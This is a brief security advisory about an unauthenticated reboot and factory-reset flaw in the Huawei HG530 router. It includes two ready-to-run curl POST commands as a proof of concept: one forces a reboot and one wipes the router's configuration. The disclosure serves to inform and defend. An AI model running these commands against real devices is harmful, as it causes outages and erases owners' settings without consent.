Huawei HG530 Multiple Unauthenticated reboot and restore Vulnerability =========================== The Huawei HG530 suffers from multiple Unauthenticated reboot and restore vulnerability allows local attackers to reboot the device or to restore to factory Configuration without user interaction. ================== The vulnerability is located in form POST data parameter in 'Restart_factory' via path '/Forms/bottom_restart_1' ==================== Security issue PoC : 1-Rebooting : curl -vv -X POST --path-as-is http://192.168.1.1/Forms/bottom_restart_1 -d ' defaltRomFlag=0&defaultIpFactory=192.168.1.1&Restart_factory=0' 2-Restoring : curl -vv -X POST --path-as-is http://192.168.1.1/Forms/bottom_restart_1 -d ' defaltRomFlag=0&defaultIpFactory=192.168.1.1&Restart_factory=1' ========================